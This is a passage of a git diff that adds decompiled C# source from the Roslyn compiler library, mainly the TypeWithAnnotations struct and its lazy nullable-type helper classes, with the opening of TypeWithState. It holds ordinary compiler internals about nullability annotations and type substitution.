CreateNonLazyType(typeSymbol, type.NullableAnnotation, customModifiers); + } + + internal override TypeWithAnnotations AsNullableReferenceType(TypeWithAnnotations type) + { + return CreateNonLazyType(type.DefaultType, NullableAnnotation.Annotated, _customModifiers); + } + + internal override TypeWithAnnotations AsNotNullableReferenceType(TypeWithAnnotations type) + { + TypeSymbol defaultType = type.DefaultType; + return CreateNonLazyType(defaultType, defaultType.IsNullableType() ? type.NullableAnnotation : NullableAnnotation.NotAnnotated, _customModifiers); + } + + internal override bool TypeSymbolEquals(TypeWithAnnotations type, TypeWithAnnotations other, TypeCompareKind comparison) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return type.TypeSymbolEqualsCore(other, comparison); + } + + internal override TypeWithAnnotations SubstituteType(TypeWithAnnotations type, AbstractTypeMap typeMap) + { + return type.SubstituteTypeCore(typeMap); + } + + internal override void ReportDiagnosticsIfObsolete(TypeWithAnnotations type, Binder binder, SyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + type.ReportDiagnosticsIfObsoleteCore(binder, syntax, diagnostics); + } + + internal override void TryForceResolve(bool asValueType) + { + } + } + + private sealed class LazySubstitutedType : Extensions + { + private readonly ImmutableArray _customModifiers; + + private readonly TypeParameterSymbol _typeParameter; + + private const int Unresolved = -1; + + private int _resolved; + + internal override bool IsResolved => _resolved != 3; + + internal override ImmutableArray CustomModifiers => _customModifiers; + + public LazySubstitutedType(ImmutableArray customModifiers, TypeParameterSymbol typeParameter) + { + _customModifiers = customModifiers; + _typeParameter = typeParameter; + _resolved = -1; + } + + internal override SpecialType GetSpecialType(TypeSymbol typeSymbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return typeSymbol.SpecialType; + } + + internal override bool IsRestrictedType(TypeSymbol typeSymbol, bool ignoreSpanLikeTypes) + { + return typeSymbol.IsRestrictedType(ignoreSpanLikeTypes); + } + + internal override bool IsStatic(TypeSymbol typeSymbol) + { + return typeSymbol.IsStatic; + } + + internal override bool IsVoid(TypeSymbol typeSymbol) + { + return typeSymbol.IsVoidType(); + } + + internal override bool IsSZArray(TypeSymbol typeSymbol) + { + return typeSymbol.IsSZArray(); + } + + internal override bool IsRefLikeType(TypeSymbol typeSymbol) + { + return typeSymbol.IsRefLikeType; + } + + internal override NullableAnnotation GetResolvedAnnotation(NullableAnnotation defaultAnnotation) + { + if (_resolved == -1) + { + Interlocked.CompareExchange(ref _resolved, (int)getResolvedAnnotationCore(), -1); + } + return (NullableAnnotation)_resolved; + NullableAnnotation getResolvedAnnotationCore() + { + if (_typeParameter.IsNotNullable == true) + { + return NullableAnnotation.NotAnnotated; + } + return NullableAnnotation.Oblivious; + } + } + + internal override TypeSymbol GetNullableUnderlyingTypeOrSelf(TypeSymbol typeSymbol) + { + return typeSymbol.StrippedType(); + } + + internal override TypeSymbol AsTypeSymbolOnly(TypeSymbol typeSymbol) + { + return typeSymbol; + } + + internal override TypeSymbol GetResolvedType(TypeSymbol defaultType) + { + return defaultType; + } + + internal override TypeWithAnnotations WithModifiers(TypeWithAnnotations type, ImmutableArray customModifiers) + { + return CreateNonLazyType(type.DefaultType, type.NullableAnnotation, customModifiers); + } + + internal override TypeWithAnnotations WithTypeAndModifiers(TypeWithAnnotations type, TypeSymbol typeSymbol, ImmutableArray customModifiers) + { + return CreateNonLazyType(typeSymbol, type.NullableAnnotation, customModifiers); + } + + internal override TypeWithAnnotations AsNullableReferenceType(TypeWithAnnotations type) + { + return CreateNonLazyType(type.DefaultType, NullableAnnotation.Annotated, _customModifiers); + } + + internal override TypeWithAnnotations AsNotNullableReferenceType(TypeWithAnnotations type) + { + TypeSymbol defaultType = type.DefaultType; + return CreateNonLazyType(defaultType, defaultType.IsNullableType() ? type.NullableAnnotation : NullableAnnotation.NotAnnotated, _customModifiers); + } + + internal override void ReportDiagnosticsIfObsolete(TypeWithAnnotations type, Binder binder, SyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + type.ReportDiagnosticsIfObsoleteCore(binder, syntax, diagnostics); + } + + internal override bool TypeSymbolEquals(TypeWithAnnotations type, TypeWithAnnotations other, TypeCompareKind comparison) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return type.TypeSymbolEqualsCore(other, comparison); + } + + internal override TypeWithAnnotations SubstituteType(TypeWithAnnotations type, AbstractTypeMap typeMap) + { + return type.SubstituteTypeCore(typeMap); + } + + internal override void TryForceResolve(bool asValueType) + { + GetResolvedAnnotation(NullableAnnotation.Ignored); + } + } + + private sealed class LazyNullableTypeParameter : Extensions + { + private readonly CSharpCompilation _compilation; + + private readonly TypeWithAnnotations _underlying; + + private TypeSymbol _resolved; + + internal override bool IsResolved => (object)_resolved != null; + + internal override ImmutableArray CustomModifiers => ImmutableArray.Empty; + + public LazyNullableTypeParameter(CSharpCompilation compilation, TypeWithAnnotations underlying) + { + _compilation = compilation; + _underlying = underlying; + } + + internal override bool IsVoid(TypeSymbol typeSymbol) + { + return false; + } + + internal override bool IsSZArray(TypeSymbol typeSymbol) + { + return false; + } + + internal override bool IsRefLikeType(TypeSymbol typeSymbol) + { + return false; + } + + internal override bool IsStatic(TypeSymbol typeSymbol) + { + return false; + } + + private TypeSymbol GetResolvedType() + { + if ((object)_resolved == null) + { + TryForceResolve(_underlying.Type.IsValueType); + } + return _resolved; + } + + internal override TypeSymbol GetNullableUnderlyingTypeOrSelf(TypeSymbol typeSymbol) + { + return _underlying.Type; + } + + internal override SpecialType GetSpecialType(TypeSymbol typeSymbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + SpecialType specialType = _underlying.SpecialType; + if (!SpecialTypeExtensions.IsValueType(specialType)) + { + return specialType; + } + return (SpecialType)0; + } + + internal override bool IsRestrictedType(TypeSymbol typeSymbol, bool ignoreSpanLikeTypes) + { + return _underlying.IsRestrictedType(ignoreSpanLikeTypes); + } + + internal override TypeSymbol AsTypeSymbolOnly(TypeSymbol typeSymbol) + { + return GetResolvedType(); + } + + internal override TypeSymbol GetResolvedType(TypeSymbol defaultType) + { + return GetResolvedType(); + } + + internal override NullableAnnotation GetResolvedAnnotation(NullableAnnotation defaultAnnotation) + { + return defaultAnnotation; + } + + internal override TypeWithAnnotations WithModifiers(TypeWithAnnotations type, ImmutableArray customModifiers) + { + if (customModifiers.IsEmpty) + { + return type; + } + TypeSymbol resolvedType = GetResolvedType(); + if (resolvedType.IsNullableType()) + { + return TypeWithAnnotations.Create(resolvedType, type.NullableAnnotation, customModifiers); + } + return CreateNonLazyType(resolvedType, type.NullableAnnotation, customModifiers); + } + + internal override TypeWithAnnotations WithTypeAndModifiers(TypeWithAnnotations type, TypeSymbol typeSymbol, ImmutableArray customModifiers) + { + if (typeSymbol.IsNullableType()) + { + return TypeWithAnnotations.Create(typeSymbol, type.NullableAnnotation, customModifiers); + } + return CreateNonLazyType(typeSymbol, type.NullableAnnotation, customModifiers); + } + + internal override TypeWithAnnotations AsNullableReferenceType(TypeWithAnnotations type) + { + return type; + } + + internal override TypeWithAnnotations AsNotNullableReferenceType(TypeWithAnnotations type) + { + if (!_underlying.Type.IsValueType) + { + return _underlying; + } + return type; + } + + internal override TypeWithAnnotations SubstituteType(TypeWithAnnotations type, AbstractTypeMap typeMap) + { + if ((object)_resolved != null) + { + return type.SubstituteTypeCore(typeMap); + } + TypeWithAnnotations underlying = _underlying.SubstituteTypeCore(typeMap); + if (!underlying.IsSameAs(_underlying)) + { + if (underlying.Type.Equals(_underlying.Type, (TypeCompareKind)0) && underlying.CustomModifiers.IsEmpty) + { + return CreateLazyNullableTypeParameter(_compilation, underlying); + } + return type.SubstituteTypeCore(typeMap); + } + return type; + } + + internal override void ReportDiagnosticsIfObsolete(TypeWithAnnotations type, Binder binder, SyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + if ((object)_resolved != null) + { + type.ReportDiagnosticsIfObsoleteCore(binder, syntax, diagnostics); + } + else + { + diagnostics.Add((DiagnosticInfo?)(object)new LazyObsoleteDiagnosticInfo(type, binder.ContainingMemberOrLambda, binder.Flags), syntax.GetLocation()); + } + } + + internal override bool TypeSymbolEquals(TypeWithAnnotations type, TypeWithAnnotations other, TypeCompareKind comparison) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + if (other._extensions is LazyNullableTypeParameter lazyNullableTypeParameter) + { + return _underlying.TypeSymbolEquals(lazyNullableTypeParameter._underlying, comparison); + } + return type.TypeSymbolEqualsCore(other, comparison); + } + + internal override void TryForceResolve(bool asValueType) + { + TypeSymbol value = (asValueType ? _compilation.GetSpecialType((SpecialType)32).Construct(ImmutableArray.Create(_underlying)) : _underlying.Type); + Interlocked.CompareExchange(ref _resolved, value, null); + } + } + + internal readonly TypeSymbol DefaultType; + + private readonly Extensions _extensions; + + public readonly NullableAnnotation DefaultNullableAnnotation; + + private static readonly SymbolDisplayFormat DebuggerDisplayFormat = new SymbolDisplayFormat((SymbolDisplayGlobalNamespaceStyle)0, (SymbolDisplayTypeQualificationStyle)2, (SymbolDisplayGenericsOptions)1, (SymbolDisplayMemberOptions)0, (SymbolDisplayDelegateStyle)0, (SymbolDisplayExtensionMethodStyle)0, (SymbolDisplayParameterOptions)0, (SymbolDisplayPropertyStyle)0, (SymbolDisplayLocalOptions)0, (SymbolDisplayKindOptions)0, (SymbolDisplayMiscellaneousOptions)65); + + internal static readonly SymbolDisplayFormat TestDisplayFormat = new SymbolDisplayFormat((SymbolDisplayGlobalNamespaceStyle)0, (SymbolDisplayTypeQualificationStyle)2, (SymbolDisplayGenericsOptions)1, (SymbolDisplayMemberOptions)0, (SymbolDisplayDelegateStyle)0, (SymbolDisplayExtensionMethodStyle)0, (SymbolDisplayParameterOptions)0, (SymbolDisplayPropertyStyle)0, (SymbolDisplayLocalOptions)0, (SymbolDisplayKindOptions)0, (SymbolDisplayMiscellaneousOptions)321); + + internal bool CanBeAssignedNull + { + get + { + switch (NullableAnnotation) + { + case NullableAnnotation.Oblivious: + case NullableAnnotation.Annotated: + return true; + case NullableAnnotation.NotAnnotated: + return Type.IsNullableTypeOrTypeParameter(); + default: + throw ExceptionUtilities.UnexpectedValue((object)NullableAnnotation); + } + } + } + + internal bool IsDefault + { + get + { + if ((object)DefaultType == null && NullableAnnotation == NullableAnnotation.NotAnnotated) + { + if (_extensions != null) + { + return _extensions == Extensions.Default; + } + return true; + } + return false; + } + } + + internal bool HasType => (object)DefaultType != null; + + public bool IsResolved => _extensions?.IsResolved ?? true; + + public TypeSymbol Type => _extensions?.GetResolvedType(DefaultType); + + public NullableAnnotation NullableAnnotation => _extensions?.GetResolvedAnnotation(DefaultNullableAnnotation) ?? NullableAnnotation.NotAnnotated; + + public TypeSymbol NullableUnderlyingTypeOrSelf => _extensions.GetNullableUnderlyingTypeOrSelf(DefaultType); + + public ImmutableArray CustomModifiers => _extensions.CustomModifiers; + + public TypeKind TypeKind => Type.TypeKind; + + public SpecialType SpecialType => _extensions.GetSpecialType(DefaultType); + + public PrimitiveTypeCode PrimitiveTypeCode => Type.PrimitiveTypeCode; + + public bool IsStatic => _extensions.IsStatic(DefaultType); + + private TypeWithAnnotations(TypeSymbol defaultType, NullableAnnotation defaultAnnotation, Extensions extensions) + { + DefaultType = defaultType; + DefaultNullableAnnotation = defaultAnnotation; + _extensions = extensions; + } + + public override string ToString() + { + return Type.ToString(); + } + + internal static TypeWithAnnotations Create(bool isNullableEnabled, TypeSymbol typeSymbol, bool isAnnotated = false) + { + if ((object)typeSymbol == null) + { + return default(TypeWithAnnotations); + } + return Create(typeSymbol, isAnnotated ? NullableAnnotation.Annotated : ((!isNullableEnabled) ? NullableAnnotation.Oblivious : NullableAnnotation.NotAnnotated)); + } + + internal static TypeWithAnnotations Create(TypeSymbol typeSymbol, NullableAnnotation nullableAnnotation = NullableAnnotation.Oblivious, ImmutableArray customModifiers = default(ImmutableArray)) + { + if ((object)typeSymbol == null && nullableAnnotation == NullableAnnotation.NotAnnotated) + { + return default(TypeWithAnnotations); + } + if (nullableAnnotation <= NullableAnnotation.Oblivious && (object)typeSymbol != null && typeSymbol.IsNullableType()) + { + nullableAnnotation = NullableAnnotation.Annotated; + } + return CreateNonLazyType(typeSymbol, nullableAnnotation, ImmutableArrayExtensions.NullToEmpty(customModifiers)); + } + + internal TypeWithAnnotations AsAnnotated() + { + if (NullableAnnotation.IsAnnotated() || (Type.IsValueType && Type.IsNullableType())) + { + return this; + } + return Create(Type, NullableAnnotation.Annotated, CustomModifiers); + } + + internal TypeWithAnnotations AsNotAnnotated() + { + if (NullableAnnotation.IsNotAnnotated() || (Type.IsValueType && !Type.IsNullableType())) + { + return this; + } + return Create(Type, NullableAnnotation.NotAnnotated, CustomModifiers); + } + + internal NullableAnnotation GetValueNullableAnnotation() + { + if (NullableAnnotation.IsAnnotated()) + { + return NullableAnnotation; + } + TypeSymbol type = Type; + if ((object)type != null && type.IsPossiblyNullableReferenceTypeTypeParameter()) + { + return NullableAnnotation.Annotated; + } + if (Type.IsNullableTypeOrTypeParameter()) + { + return NullableAnnotation.Annotated; + } + return NullableAnnotation; + } + + private static TypeWithAnnotations CreateNonLazyType(TypeSymbol typeSymbol, NullableAnnotation nullableAnnotation, ImmutableArray customModifiers) + { + return new TypeWithAnnotations(typeSymbol, nullableAnnotation, Extensions.Create(customModifiers)); + } + + private static TypeWithAnnotations CreateLazyNullableTypeParameter(CSharpCompilation compilation, TypeWithAnnotations underlying) + { + return new TypeWithAnnotations(underlying.DefaultType, NullableAnnotation.Annotated, new LazyNullableTypeParameter(compilation, underlying)); + } + + private static TypeWithAnnotations CreateLazySubstitutedType(TypeSymbol substitutedTypeSymbol, ImmutableArray customModifiers, TypeParameterSymbol typeParameter) + { + return new TypeWithAnnotations(substitutedTypeSymbol, NullableAnnotation.Ignored, new LazySubstitutedType(customModifiers, typeParameter)); + } + + public TypeWithAnnotations SetIsAnnotated(CSharpCompilation compilation) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Invalid comparison between Unknown and I4 + TypeSymbol typeSymbol = Type; + if ((int)typeSymbol.TypeKind != 11) + { + if (!typeSymbol.IsValueType && !typeSymbol.IsErrorType()) + { + return CreateNonLazyType(typeSymbol, NullableAnnotation.Annotated, CustomModifiers); + } + return makeNullableT(); + } + if ((int)((TypeParameterSymbol)typeSymbol).TypeParameterKind == 2) + { + return makeNullableT(); + } + return CreateLazyNullableTypeParameter(compilation, this); + TypeWithAnnotations makeNullableT() + { + return Create(compilation.GetSpecialType((SpecialType)32).Construct(ImmutableArray.Create(typeSymbol))); + } + } + + public void TryForceResolve(bool asValueType) + { + _extensions.TryForceResolve(asValueType); + } + + private TypeWithAnnotations AsNullableReferenceType() + { + return _extensions.AsNullableReferenceType(this); + } + + public TypeWithAnnotations AsNotNullableReferenceType() + { + return _extensions.AsNotNullableReferenceType(this); + } + + internal TypeWithAnnotations MergeEquivalentTypes(TypeWithAnnotations other, VarianceKind variance) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol type = other.Type; + NullableAnnotation nullableAnnotation = NullableAnnotation.MergeNullableAnnotation(other.NullableAnnotation, variance); + return Create(Type.MergeEquivalentTypes(type, variance), nullableAnnotation, CustomModifiers); + } + + public TypeWithAnnotations WithModifiers(ImmutableArray customModifiers) + { + return _extensions.WithModifiers(this, customModifiers); + } + + public bool IsNullableType() + { + return Type.IsNullableType(); + } + + public bool IsVoidType() + { + return _extensions.IsVoid(DefaultType); + } + + public bool IsSZArray() + { + return _extensions.IsSZArray(DefaultType); + } + + public bool IsRefLikeType() + { + return _extensions.IsRefLikeType(DefaultType); + } + + public bool IsRestrictedType(bool ignoreSpanLikeTypes = false) + { + return _extensions.IsRestrictedType(DefaultType, ignoreSpanLikeTypes); + } + + public string ToDisplayString(SymbolDisplayFormat format = null) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + if (!IsResolved && !IsSafeToResolve()) + { + if (NullableAnnotation.IsAnnotated() && SymbolDisplayExtensions.IncludesOption(format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)64)) + { + return ((Symbol)DefaultType).ToDisplayString(format) + "?"; + } + return ((Symbol)DefaultType).ToDisplayString(format); + } + string text = ((!HasType) ? "" : ((Symbol)Type).ToDisplayString(format)); + if (format != null) + { + if (NullableAnnotation.IsAnnotated() && SymbolDisplayExtensions.IncludesOption(format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)64) && (!HasType || (!IsNullableType() && !Type.IsValueType))) + { + return text + "?"; + } + if (NullableAnnotation.IsNotAnnotated() && SymbolDisplayExtensions.IncludesOption(format.MiscellaneousOptions, (SymbolDisplayMiscellaneousOptions)256) && (!HasType || (!Type.IsValueType && !Type.IsTypeParameterDisallowingAnnotationInCSharp8()))) + { + return text + "!"; + } + } + return text; + } + + private bool IsSafeToResolve() + { + if ((DefaultType as TypeParameterSymbol)?.DeclaringMethod is SourceOrdinaryMethodSymbol sourceOrdinaryMethodSymbol && !sourceOrdinaryMethodSymbol.HasComplete(CompletionPart.StartMemberChecks)) + { + if (!sourceOrdinaryMethodSymbol.IsOverride) + { + return !sourceOrdinaryMethodSymbol.IsExplicitInterfaceImplementation; + } + return false; + } + return true; + } + + internal string GetDebuggerDisplay() + { + if (HasType) + { + return ToDisplayString(DebuggerDisplayFormat); + } + return ""; + } + + string IFormattable.ToString(string format, IFormatProvider formatProvider) + { + return ToDisplayString(SymbolDisplayFormat.CSharpErrorMessageFormat); + } + + public bool Equals(TypeWithAnnotations other, TypeCompareKind comparison) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + if (IsSameAs(other)) + { + return true; + } + if (!HasType) + { + if (other.HasType) + { + return false; + } + } + else if (!other.HasType || !TypeSymbolEquals(other, comparison)) + { + return false; + } + if ((comparison & 1) == 0 && !CustomModifiers.SequenceEqual(other.CustomModifiers)) + { + return false; + } + NullableAnnotation nullableAnnotation = NullableAnnotation; + NullableAnnotation nullableAnnotation2 = other.NullableAnnotation; + if ((comparison & 8) == 0 && nullableAnnotation2 != nullableAnnotation && ((comparison & 0x10) == 0 || (!nullableAnnotation.IsOblivious() && !nullableAnnotation2.IsOblivious()))) + { + if (!HasType) + { + return false; + } + TypeSymbol type = Type; + if (!type.IsValueType || type.IsNullableType()) + { + return false; + } + } + return true; + } + + internal bool TypeSymbolEquals(TypeWithAnnotations other, TypeCompareKind comparison) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return _extensions.TypeSymbolEquals(this, other, comparison); + } + + public bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, Symbol owner, ref HashSet checkedTypes) + { + if (!Type.GetUnificationUseSiteDiagnosticRecursive(ref result, owner, ref checkedTypes)) + { + return Symbol.GetUnificationUseSiteDiagnosticRecursive(ref result, CustomModifiers, owner, ref checkedTypes); + } + return true; + } + + public bool IsAtLeastAsVisibleAs(Symbol sym, ref CompoundUseSiteInfo useSiteInfo) + { + return NullableUnderlyingTypeOrSelf.IsAtLeastAsVisibleAs(sym, ref useSiteInfo); + } + + public TypeWithAnnotations SubstituteType(AbstractTypeMap typeMap) + { + return _extensions.SubstituteType(this, typeMap); + } + + internal TypeWithAnnotations SubstituteTypeCore(AbstractTypeMap typeMap) + { + ImmutableArray immutableArray = typeMap.SubstituteCustomModifiers(CustomModifiers); + TypeSymbol type = Type; + TypeWithAnnotations result = typeMap.SubstituteType(type); + if (!type.IsTypeParameter()) + { + if (type.Equals(result.Type, (TypeCompareKind)0) && immutableArray == CustomModifiers) + { + return this; + } + if ((NullableAnnotation.IsOblivious() || (type.IsNullableType() && NullableAnnotation.IsAnnotated())) && immutableArray.IsEmpty) + { + return result; + } + return Create(result.Type, NullableAnnotation, immutableArray); + } + if (result.Is((TypeParameterSymbol)type) && immutableArray == CustomModifiers) + { + return this; + } + if (Is((TypeParameterSymbol)type) && result.NullableAnnotation != NullableAnnotation.Ignored) + { + return result; + } + if (result.Type is PlaceholderTypeArgumentSymbol) + { + return result; + } + NullableAnnotation nullableAnnotation; + if (NullableAnnotation.IsAnnotated() || result.NullableAnnotation.IsAnnotated()) + { + nullableAnnotation = NullableAnnotation.Annotated; + } + else if (result.NullableAnnotation == NullableAnnotation.Ignored) + { + nullableAnnotation = NullableAnnotation; + } + else if (NullableAnnotation == NullableAnnotation.Oblivious) + { + nullableAnnotation = ((result.NullableAnnotation == NullableAnnotation.Oblivious) ? NullableAnnotation : result.NullableAnnotation); + } + else if (result.NullableAnnotation == NullableAnnotation.Oblivious) + { + TypeParameterSymbol typeParameterSymbol = (TypeParameterSymbol)type; + if (typeParameterSymbol.CalculateIsNotNullableFromNonTypeConstraints() != true) + { + return CreateLazySubstitutedType(result.DefaultType, ImmutableArrayExtensions.Concat(immutableArray, result.CustomModifiers), typeParameterSymbol); + } + nullableAnnotation = NullableAnnotation.NotAnnotated; + } + else + { + nullableAnnotation = NullableAnnotation.NotAnnotated; + } + return CreateNonLazyType(result.Type, nullableAnnotation, ImmutableArrayExtensions.Concat(immutableArray, result.CustomModifiers)); + } + + public void ReportDiagnosticsIfObsolete(Binder binder, SyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + _extensions.ReportDiagnosticsIfObsolete(this, binder, syntax, diagnostics); + } + + private bool TypeSymbolEqualsCore(TypeWithAnnotations other, TypeCompareKind comparison) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Type.Equals(other.Type, comparison); + } + + private void ReportDiagnosticsIfObsoleteCore(Binder binder, SyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + binder.ReportDiagnosticsIfObsolete(diagnostics, Type, SyntaxNodeOrToken.op_Implicit(syntax), hasBaseReceiver: false); + } + + public TypeSymbol AsTypeSymbolOnly() + { + return _extensions.AsTypeSymbolOnly(DefaultType); + } + + public bool Is(TypeParameterSymbol other) + { + if (DefaultNullableAnnotation.IsOblivious() && (object)DefaultType == other) + { + return CustomModifiers.IsEmpty; + } + return false; + } + + public TypeWithAnnotations WithTypeAndModifiers(TypeSymbol typeSymbol, ImmutableArray customModifiers) + { + return _extensions.WithTypeAndModifiers(this, typeSymbol, customModifiers); + } + + public TypeWithAnnotations WithType(TypeSymbol typeSymbol) + { + return _extensions.WithTypeAndModifiers(this, typeSymbol, CustomModifiers); + } + + public bool NeedsNullableAttribute() + { + return NeedsNullableAttribute(this, null); + } + + public static bool NeedsNullableAttribute(TypeWithAnnotations typeWithAnnotationsOpt, TypeSymbol typeOpt) + { + return (object)typeWithAnnotationsOpt.VisitType(typeOpt, (TypeWithAnnotations t, object a, bool b) => t.NullableAnnotation != NullableAnnotation.Oblivious && !t.Type.IsErrorType() && !t.Type.IsValueType, null, null) != null; + } + + private static bool IsNonGenericValueType(TypeSymbol type) + { + if (!(type is NamedTypeSymbol namedTypeSymbol)) + { + return false; + } + if (namedTypeSymbol.IsGenericType) + { + return type.IsNullableType(); + } + return type.IsValueType; + } + + public void AddNullableTransforms(ArrayBuilder transforms) + { + AddNullableTransforms(this, transforms); + } + + private static void AddNullableTransforms(TypeWithAnnotations typeWithAnnotations, ArrayBuilder transforms) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Invalid comparison between Unknown and I4 + TypeSymbol type; + while (true) + { + type = typeWithAnnotations.Type; + if (!IsNonGenericValueType(type)) + { + NullableAnnotation nullableAnnotation = typeWithAnnotations.NullableAnnotation; + byte b = (byte)((!nullableAnnotation.IsOblivious() && !type.IsValueType) ? ((!nullableAnnotation.IsAnnotated()) ? 1 : 2) : 0); + transforms.Add(b); + } + if ((int)type.TypeKind != 1) + { + break; + } + typeWithAnnotations = ((ArrayTypeSymbol)type).ElementTypeWithAnnotations; + } + type.AddNullableTransforms(transforms); + } + + public bool ApplyNullableTransforms(byte defaultTransformFlag, ImmutableArray transforms, ref int position, out TypeWithAnnotations result) + { + result = this; + TypeSymbol type = Type; + byte b; + if (IsNonGenericValueType(type)) + { + b = 0; + } + else if (transforms.IsDefault) + { + b = defaultTransformFlag; + } + else + { + if (position >= transforms.Length) + { + return false; + } + b = transforms[position++]; + } + if (!type.ApplyNullableTransforms(defaultTransformFlag, transforms, ref position, out var result2)) + { + return false; + } + if ((object)type != result2) + { + result = result.WithTypeAndModifiers(result2, result.CustomModifiers); + } + switch (b) + { + case 2: + result = result.AsNullableReferenceType(); + break; + case 1: + result = result.AsNotNullableReferenceType(); + break; + case 0: + if (result.NullableAnnotation != NullableAnnotation.Oblivious && (!result.NullableAnnotation.IsAnnotated() || !type.IsNullableType())) + { + result = CreateNonLazyType(result2, NullableAnnotation.Oblivious, result.CustomModifiers); + } + break; + default: + result = this; + return false; + } + return true; + } + + public TypeWithAnnotations WithTopLevelNonNullability() + { + TypeSymbol type = Type; + if (NullableAnnotation.IsNotAnnotated() || (type.IsValueType && !type.IsNullableType())) + { + return this; + } + return CreateNonLazyType(type, NullableAnnotation.NotAnnotated, CustomModifiers); + } + + public TypeWithAnnotations SetUnknownNullabilityForReferenceTypes() + { + TypeSymbol type = Type; + TypeSymbol typeSymbol = type.SetUnknownNullabilityForReferenceTypes(); + if (NullableAnnotation != NullableAnnotation.Oblivious && !type.IsValueType) + { + return CreateNonLazyType(typeSymbol, NullableAnnotation.Oblivious, CustomModifiers); + } + if ((object)typeSymbol != type) + { + return WithTypeAndModifiers(typeSymbol, CustomModifiers); + } + return this; + } + + [Obsolete("Unsupported", true)] + public override bool Equals(object other) + { + if (other is TypeWithAnnotations other2) + { + return Equals(other2, (TypeCompareKind)0); + } + return false; + } + + [Obsolete("Unsupported", true)] + public override int GetHashCode() + { + if (!HasType) + { + return 0; + } + return Type.GetHashCode(); + } + + public static bool operator ==(TypeWithAnnotations? x, TypeWithAnnotations? y) + { + if (x.HasValue == y.HasValue) + { + return x?.IsSameAs(y.GetValueOrDefault()) ?? true; + } + return false; + } + + public static bool operator !=(TypeWithAnnotations? x, TypeWithAnnotations? y) + { + return !(x == y); + } + + internal bool IsSameAs(TypeWithAnnotations other) + { + if ((object)DefaultType == other.DefaultType && DefaultNullableAnnotation == other.DefaultNullableAnnotation) + { + return _extensions == other._extensions; + } + return false; + } + + internal TypeWithState ToTypeWithState() + { + return TypeWithState.Create(Type, getFlowState(Type, NullableAnnotation)); + static NullableFlowState getFlowState(TypeSymbol type, NullableAnnotation annotation) + { + if ((object)type == null) + { + if (!annotation.IsAnnotated()) + { + return NullableFlowState.NotNull; + } + return NullableFlowState.MaybeDefault; + } + if (type.IsPossiblyNullableReferenceTypeTypeParameter()) + { + return annotation switch + { + NullableAnnotation.Annotated => NullableFlowState.MaybeDefault, + NullableAnnotation.NotAnnotated => NullableFlowState.MaybeNull, + _ => NullableFlowState.NotNull, + }; + } + if (type.IsTypeParameterDisallowingAnnotationInCSharp8()) + { + if (annotation == NullableAnnotation.Annotated) + { + return NullableFlowState.MaybeDefault; + } + return NullableFlowState.NotNull; + } + if (type.IsNullableTypeOrTypeParameter()) + { + return NullableFlowState.MaybeNull; + } + if (annotation == NullableAnnotation.Annotated) + { + return NullableFlowState.MaybeNull; + } + return NullableFlowState.NotNull; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeWithState.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeWithState.cs new file mode 100644 index 0000000..eb61430 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeWithState.cs @@ -0,0 +1,139 @@ +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal readonly struct TypeWithState +{ + public readonly TypeSymbol? Type; + + public readonly NullableFlowState State; + + [MemberNotNullWhen(false, "Type")] + public bool HasNullType + { + [MemberNotNullWhen(false, "Type")] + get + { + return (object)Type == null; + } + } + + public bool MayBeNull => State == NullableFlowState.MaybeNull; + + public bool IsNotNull => State == NullableFlowState.NotNull; + + public static TypeWithState ForType(TypeSymbol? type) + { + return Create(type, NullableFlowState.MaybeDefault); + } + + public static TypeWithState Create(TypeSymbol? type, NullableFlowState defaultState) + { + if (defaultState == NullableFlowState.MaybeDefault && ((object)type == null || type.IsTypeParameterDisallowingAnnotationInCSharp8())) + { + return new TypeWithState(type, defaultState); + } + NullableFlowState state = ((defaultState != NullableFlowState.NotNull && ((object)type == null || type.CanContainNull())) ? NullableFlowState.MaybeNull : NullableFlowState.NotNull); + return new TypeWithState(type, state); + } + + public static TypeWithState Create(TypeWithAnnotations typeWithAnnotations, FlowAnalysisAnnotations annotations = FlowAnalysisAnnotations.None) + { + TypeSymbol type = typeWithAnnotations.Type; + NullableFlowState defaultState; + if (type.CanContainNull()) + { + if ((annotations & 